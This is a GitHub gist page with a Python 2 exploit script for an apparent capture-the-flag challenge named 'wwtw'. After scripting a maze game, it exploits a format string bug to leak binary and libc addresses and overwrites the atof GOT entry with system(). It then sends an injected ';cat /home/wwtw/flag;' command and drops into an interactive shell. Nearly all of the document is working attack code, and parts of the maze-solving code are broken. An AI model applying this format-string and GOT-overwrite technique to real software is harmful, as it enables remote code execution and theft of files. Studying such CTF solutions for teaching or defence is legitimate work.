Skip to content

Instantly share code, notes, and snippets.

@peternguyen93
Created May 18, 2015 15:12
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save peternguyen93/f06aa5e27626598a1c21 to your computer and use it in GitHub Desktop.
Save peternguyen93/f06aa5e27626598a1c21 to your computer and use it in GitHub Desktop.
import socket
import time
import re
from Pwning import *
pl = Payload()
def get_socket(host, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
return s
def send(s, msg):
s.sendall(msg + "\n")
print '[+] Send:', repr(msg)
def recv(s):
data = s.recv(4096)
print data
return data
def recv_until(s, text):
data = ''
while text not in data:
new_data = recv(s)
if new_data == '':
break
data += new_data
if 'TARDIS KEY:' in data:
return data
import time
time.sleep(0.01)
return data
"""
MAZE GAME
"""
g_map = None
g_found = False
g_path = None
MAP_WIDTH = 20
MAP_HEIGHT = 20
TARGET_X = 89
TARGET_Y = 28
g_best_solution = 'A' * 1000
def get_valid_moves(moved_cells, x, y):
moves = []
if x < MAP_WIDTH - 1 and g_map[y][x + 1] != 'A' and moved_cells[y][x + 1] == False:
moves.append('d')
if y < MAP_HEIGHT - 1 and g_map[y + 1][x] != 'A' and moved_cells[y + 1][x] == False:
moves.append('s')
if y > 0 and g_map[y - 1][x] != 'A' and moved_cells[y - 1][x] == False:
moves.append('w')
if x > 0 and g_map[y][x - 1] != 'A' and moved_cells[y][x - 1] == False:
moves.append('a')
return moves
def solve_rec(moved_cells, x, y, curr_path):
global g_best_solution
if g_found:
return
if len(curr_path) > len(g_best_solution):
return
if g_map[x][y] == 'E':
g_found = True
g_path = curr_path
available_moves = get_valid_moves(moved_cells, x, y)
for move in available_moves:
if move == 'w':
next_x = x
next_y = y - 1
elif move == 's':
next_x = x
next_y = y + 1
elif move == 'a':
next_x = x - 1
next_y = y
else:
next_x = x + 1
next_y = y
curr_path += move
moved_cells[next_y][next_x] = True
solve_rec(moved_cells, next_x, next_y, curr_path)
moved_cells[next_y][next_x] = False
curr_path = curr_path[:-1] # restore
def get_person_position():
for i in xrange(MAP_HEIGHT):
for j in xrange(MAP_WIDTH):
if g_map[i][j] in '^<>V':
return (i, j)
def get_target_position():
for i in xrange(MAP_HEIGHT):
for j in xrange(MAP_WIDTH):
if g_map[i][j] in 'ET':
return (i, j)
def get_moves(r, c):
return [(r + 1, c), (r - 1, c), (r, c + 1), (r, c - 1)]
def get_best_move(m):
global g_map
g_map = m
person = get_person_position()
target = get_target_position()
print 'person:', person
print 'target:', target
best_score = 0
best_position_score = -1000000
best_position = (0, 0)
for p_r, p_c in get_moves(person[0], person[1]):
nearest_enemy = 1000
for r in xrange(MAP_HEIGHT):
for c in xrange(MAP_WIDTH):
if g_map[r][c] == 'A':
enemy_distance = abs(r - p_r) + abs(c - p_c)
if enemy_distance < nearest_enemy:
nearest_enemy = enemy_distance
target_distance = abs(target[0] - p_r) + abs(target[1] - p_c)
position_score = nearest_enemy - target_distance * 100
print (p_r, p_c), nearest_enemy, target_distance, position_score
if position_score > best_position_score and nearest_enemy != 0:
best_position_score = position_score
best_position = (p_r, p_c)
if best_position_score == -1000000:
return None
if best_position[0] < person[0]:
return 'w'
if best_position[0] > person[0]:
return 's'
if best_position[1] < person[1]:
return 'a'
return 'd'
def solve(m):
global g_map
g_map = m
moved_cells = []
for i in xrange(MAP_HEIGHT):
moved_cells.append([])
for j in xrange(MAP_WIDTH):
moved_cells[i].append(False)
person_position = get_person_position()
solve_rec(moved_cells, person_position[0], person_position[1], '')
return g_path
"""
MAZE GAME
"""
def read_map(raw):
m = [0] * 20
for i in xrange(20):
row = raw[i][3:]
m[i] = [c for c in row]
return m
def xor_string(a, b):
if len(a) > len(b):
a, b = b, a
ret = ''
for i in xrange(len(a)):
ret += chr( ord(a[i]) ^ ord(b[i]) )
return ret
def get_key():
import string
func = '5589E55383EC24E8DCFBFFFF81C33C410000C745F00A0000008D8306E0FFFF890424E8A1F9FFFF8B83F0FFFFFF8B00890424E8A1F9FFFF8D83B8BEFFFF8945F4EB5E8B45F40FB6000FBEC083E07F890424E832FAFFFF85C07442C7442408010000008D45EE89442404C7042400000000E843F9FFFF83F801751E0FB645EE0FBED08B45F40FB6000FBEC083E07F39C27407B801000000EB28836DF0018345F401837DF000759C90E83CF9FFFF8845EF807DEF0A7406807DEFFF75ECB80000000083C4245B5DC35589E55383EC24E816FBFFFF81C3764000008B45148845E4C745F000000000EB66C7442408010000008D45EF894424048B4508890424E8B7F8FFFF8945F4837DF4007F07B8FFFFFFFFEB58837DF4007507B8FFFFFFFFEB4B0FB645EF3A45E475108B55F08B450C01D0C600008B45F0EB328B45F08D50018955F089C28B450C01C20FB645EF88028B45F03B45107C928B45F08D50FF8B450C01D0C600008B45F083E80183C4245B5DC355'.decode('hex')
key = ''
for c in func:
if chr(ord(c) & 0x7f) in 'abcdefghijklmnopqrstuvwxyz' + 'abcdefghijklmnopqrstuvwxyz'.upper() + '0123456789':
key += chr(ord(c) & 0x7f)
if len(key) == 10:
break
return key
def _solve():
key = get_key()
while True:
s = get_socket('wwtw_c3722e23150e1d5abbc1c248d99d718d.quals.shallweplayaga.me', 2606)
success = True
while True:
data = recv_until(s, 'Your move (w,a,s,d,q): ')
if 'TARDIS KEY:' in data:
break
raw_map = data.split('Your move (w,a,s,d,q):')[0].split('\n')[-21:-1]
try:
game_map = read_map(raw_map)
except:
success = False
break
best_move = get_best_move(game_map)
if best_move is None:
success = False
break
send(s, best_move)
if success:
send(s, key)
recv(s)
send(s,'\x00'*9)
recv(s)
time.sleep(2)
send(s,pl.p(0x55592B6C + 1))
recv(s)
send(s,'\x00'*9)
print repr(recv(s))
send(s,pl.p(0x55592B6C + 1))
time.sleep(1)
send(s,'1\n')
recv_until(s, 'The TARDIS console is online!')
recv_until(s, 'Selection:')
send(s,'3\n')
recv_until(s, 'Coordinates: ')
send(s,'51.492137,-0.192878 {}\n'.format('%275$p'))
data = recv_until(s, 'would rip a hole in time and space. Choose again.')
match = re.findall(r'.+ (0x[0-9a-f]*) .+',data)
base_bin = int(match[0],16) - 0x1491
read = base_bin + 0x5010
atof_got = base_bin + 0x5080
print 'Base Bin :',hex(base_bin)
recv_until(s, 'Coordinates: ')
send(s,'51.492137,-0.192878 {}\n'.format(pl.p(read) + '%20$s'))
data = recv_until(s, 'would rip a hole in time and space. Choose again.')
print repr(data)
data = data[52:]
read = pl.up(data[4:8])
printf = pl.up(data[8:12])
print 'read() : ',hex(read)
print 'printf() : ',hex(printf)
system = read - 0x9aa40
print 'system() : ',hex(system)
recv_until(s, 'Coordinates: ')
send(s,pl.build32FormatStringBug(atof_got,system,20,'51.492137,-0.192878 '))
recv_until(s, 'Coordinates: ')
send(s,',,,,,,;cat /home/wwtw/flag;,,,,,,,,\n')
tn = telnetlib.Telnet()
tn.sock = s
tn.interact()
break
_solve()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment